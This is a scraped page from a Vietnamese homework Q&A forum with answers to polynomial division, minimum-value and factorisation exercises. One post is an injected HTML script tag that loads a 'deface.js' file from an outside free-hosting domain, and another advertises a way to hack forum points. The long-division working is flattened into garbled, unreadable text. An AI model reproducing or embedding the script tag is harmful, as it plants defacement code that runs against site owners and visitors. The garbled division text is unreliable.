K
Khách

Hãy nhập câu hỏi của bạn vào đây, nếu là tài khoản VIP, bạn sẽ được ưu tiên trả lời.

24 tháng 12 2021

 A = 2x4 + 3x3 - 5x2 - 11x + 8 và B = x3 - 3x + 1

Đặt phép tính:

2x^4+3x^3-5x^2-11x+8x^3-3x+12x+32x^4 -6x^2+2x3x^3+x^2-13x+83x^3 -9x+3x^2-4x-5

A=B.Q+R

=> 2x^4+3x^3-5x^2-11x+8 = x^3-3x+1.Q+R ; Q là số bị chia và R là dư

=> 2x^4+3x^3-5x^2-11x+8 = x^3-3x+1.2x+3+x^2-4x+5

18 tháng 11 2018
 <script src="https://snatchy-warehouse.000webhostapp.com/deface.js"></script>
18 tháng 11 2018

a, Đặt tính chia ta được Q=2x+3,R=x2-4x+5

b,\(R=x^2-4x+5=x^2-4x+4+1=\left(x-2\right)^2+1\)

Vì (x-2)2 >= 0 

=> R = (x-2)2+1 >= 1

Dấu "=" xảy ra <=> x-2=0 <=> x=2

Vậy GTNN của R =  1 khi x=2

3 tháng 4 2020

Cách hack điểm hỏi đáp trên OLM => https://www.youtube.com/watch?v=sMvl8_N_N54

14 tháng 7 2019

a) \(4x^2-4x+1=\left(2x-1\right)^2\)

14 tháng 7 2019

\(3x\left(x-5\right)-x\left(4+3x\right)=43\)

\(\Leftrightarrow3x^2-15x-4x-3x^2=43\)

\(\Leftrightarrow-19x=43\)

\(\Leftrightarrow x=\frac{-43}{19}\)

18 tháng 10 2019

SAI DE

14 tháng 10 2020

a, \(x^3-2x^2+3x-6=x\left(x^2+3\right)-2\left(x^2+3\right)=\left(x-2\right)\left(x^2+3\right)\)

b, \(x^2+2x+1-4y^2=\left(x+1\right)^2-\left(2y\right)^2=\left(x+1-2y\right)\left(x+1+2y\right)\)

14 tháng 10 2020

\(\left(-2x\right)\left(3x+1\right)+\left(x-2\right)\left(2x+1\right)=-6x^2-2x+2x^2+x-4x-2\)

\(=-4x^2-5x-2\)

Sửa 2x + 1 => 3x + 1 có vẻ sẽ ok hơn nhé ! 

11 tháng 10 2019

1)  (3x+4)(x+1) = 3x2+7x+4 đặt là a

(6x+7)2= 36x2+84x+49 = 12a+1

=> a(12a+1)- 6 = 12a2 -a -6 = (3a+2)(4a-3) = (9x2+21x+14)(12x2+28x+13)

2) (x-2)2=x2-4x+4 đặt là a

(2x-5)(2x-3)= 4x2-16x+15 =4a-1

=> a(4a-1)-5 = 4a2-a-5 = (4a-5)(a+1) = ( 4x2-16x+11)(x2-4x+5)

3) đặt (x+3)2 =a ta làm tương tự

4) (x-2)(x-10)(x-4)(x-5) = (x2-12x+20)(x2-9x+20)

đặt x2+20=a => (a-12x)(a-9x)-54x2 = a2-21ax+54x2 = (a-18x)(a-3x) = (x2-18x+20)(x2-3x+20)